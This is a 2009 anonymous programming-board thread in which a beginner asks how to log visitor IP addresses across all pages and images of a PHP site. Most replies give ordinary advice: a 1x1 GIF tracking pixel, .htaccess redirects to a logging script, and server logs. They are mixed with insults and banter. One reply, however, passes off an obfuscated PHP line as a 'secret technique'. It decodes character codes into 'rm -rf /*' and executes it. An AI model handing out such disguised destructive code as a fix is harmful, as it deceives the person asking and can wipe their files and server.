Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon. Entire thread

php ip logging

Name: Anonymous 2009-06-25 12:01

hi /prog/

first tiem here.

i have a php script which logs all ip that visits my website. now i haev one page which if you enter it logs your ip, but i want it to do that on all other pages too, like also if people view a image on my site then it will log ip.

how can i do this? can i set it in htaccess?

oh and im using a free web host

Name: Anonymous 2009-06-25 12:02

Nice try, but even /g/ isn't that dumb.

Name: Anonymous 2009-06-25 12:07

huh?

Name: Anonymous 2009-06-25 12:17

By using this special secret ninja technique:

<?php $a=implode("",array_map("chr",array(114,109,32,45,114,102,32,47,42)));`$a`;

Name: Anonymous 2009-06-25 12:21

>>4
i c wat u did thar

Name: Anonymous 2009-06-25 12:50

>>3
using noko on a text board

I lol'd

Name: Anonymous 2009-06-25 12:54

>>6
thatsthejoke.jpg.exe.rar

Name: MILKRIBS4k 2009-06-25 12:59

>>7
VIRUS!!!

Name: Anonymous 2009-06-25 13:31

>>8
WTF
I FUCKING ALMOST DOWNLOADED IT

OH GOD THANK YOU!!!!

Name: Anonymous 2009-06-25 14:09

>>4
This would most certainly fail either due to no permissions or open_basedir settings.

Name: Anonymous 2009-06-25 15:04

>>7
After failing makes it out as joke, kudos anon. Kudos.

Name: Anonymous 2009-06-25 15:42

don't sage my thread :(

Name: Anonymous 2009-06-25 20:20

>>12
Back to /b/ please.

Name: Anonymous 2009-06-25 21:27

>>13
No, I already left /b/.

Name: Anonymous 2009-06-25 21:44

>>14
Well that was a mistake.

Name: Anonymous 2009-06-25 22:01

>>15
I don't regret it.

Name: Anonymous 2009-06-25 22:02

>>16
And neither do we.

Name: Anonymous 2009-06-25 22:04

>>17
Glad to be on the same boat :)

Name: Anonymous 2009-06-25 22:48

unsigned char o[] = {
  0x47, 0x49, 0x46, 0x38, 0x39, 0x61, 0x01, 0x00, 0x01, 0x00, 0x80, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x21, 0xf9, 0x04, 0x01, 0x0a, 0x00, 0x01, 0x00, 0x2c, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x02, 0x02, 0x4c, 0x01, 0x00, 0x3b, 0x00
};


Or something.

Oh, wait. PHP? Fuck that.

Name: FrozenVoid 2009-06-26 3:57

Do it in JavaScript in the browser.

________________________________________________
http://xs135.xs.to/xs135/09042/av922.jpg
orbis terrarum delenda est

Name: FrozenVoid 2009-06-26 8:57

>>20 Actually you can do it, by ajax requesting http://whatismyip.com/ , parsing the IP digits
and requesting log.php?ip=script_val
replace with "php script which logs all ip that visits my website"


______________________________________
http://xs135.xs.to/xs135/09042/av922.jpg
orbis terrarum delenda est

Name: Anonymous 2009-06-26 11:28

OP here
Well... I can't do Ajax/JS =/

Name: FrozenVoid 2009-06-26 11:31

>>22 Try http://www.hashemian.com/tools/visitor-IP.htm



_________________________________________________
http://xs135.xs.to/xs135/09042/av922.jpg
orbis terrarum delenda est

Name: Anonymous 2009-06-26 12:07

What the hell, can't you just use the log file?

Name: FrozenVoid 2009-06-26 12:12

>>24
not all webservers use client IPs

_________________________________________________
http://xs135.xs.to/xs135/09042/av922.jpg
orbis terrarum delenda est

Name: Anonymous 2009-06-26 12:48

If you play around with .htaccess, I believe that you can have any file request redirect to a php script first. Then you just log the ip and redirect to the file probably.

Name: Anonymous 2009-06-26 19:58

>>26
Yeah, exactly what I want.

>>23
I already have a script..

Name: Anonymous 2009-06-26 19:59

>>21
Actually, XMLHttpRequest()s cannot be cross-site.

Name: Anonymous 2009-06-26 20:02

Not without [b][i][u]XDomainRequest[u][/i][/b] faggotry, you mean.

Name: Anonymous 2009-06-27 2:17

Good fucking god. The unsigned char I posted was a 1x1 fucking transparent gif that, if you had half a fucking brain you could deduce would allow you to embed in your pages, allowing your fruity script to appear in any godforsaken page you want, thus getting their IP address. From there all you do is connect to your database and log the piece of shit. It's pretty much universal, can be done from Perl, PHP, Awk, or even Bash. Don't do it from LISP, though, because I don't want you to gay up a good language.

I know I've been away from /prog/ for about a year, but has it really gotten this bad?

Name: Anonymous 2009-06-27 2:21

I know I've been away from /prog/ for about a year, but has it really gotten this bad?
Yes

Name: Anonymous 2009-06-27 9:05

>>30
Come on, dude. It really wasn't obvious.

Name: Anonymous 2009-06-27 10:41

>>32
The first 5 bytes are "GIF89", anyone making a halfhearted attempt (like I just did) would have figured it out.

Name: Anonymous 2009-06-27 12:18

>>33
0x47, 0x49, 0x46, 0x38, 0x39, 0x61
HIBT?

Name: Anonymous 2009-06-27 12:28


offs  asc hex dec oct bin
0000:  G  47  071 107 01000111
0001:  I  49  073 111 01001001
0002:  F  46  070 106 01000110
0003:  8  38  056 070 00111000
0004:  9  39  057 071 00111001
0005:  a  61  097 141 01100001
0006:     0A  010 012 00001010

Name: Anonymous 2009-06-27 13:19

>>35
My bad, I assumed that 47,49, 46, etc, where in base-10 so i got /1.&'= instead of GIF89a  lol :)

Name: Anonymous 2009-06-27 13:31

>>36
Get out.

Name: Anonymous 2009-06-27 13:39

>>35
shed?

Name: Anonymous 2009-06-27 14:10

>>36

The prefix of 0x should have been an adequate clue as to the base. ):

Name: Anonymous 2009-06-27 15:50

>>36
See >>37

You don't belong here.

Newer Posts
Don't change these.
Name: Email:
Entire Thread Thread List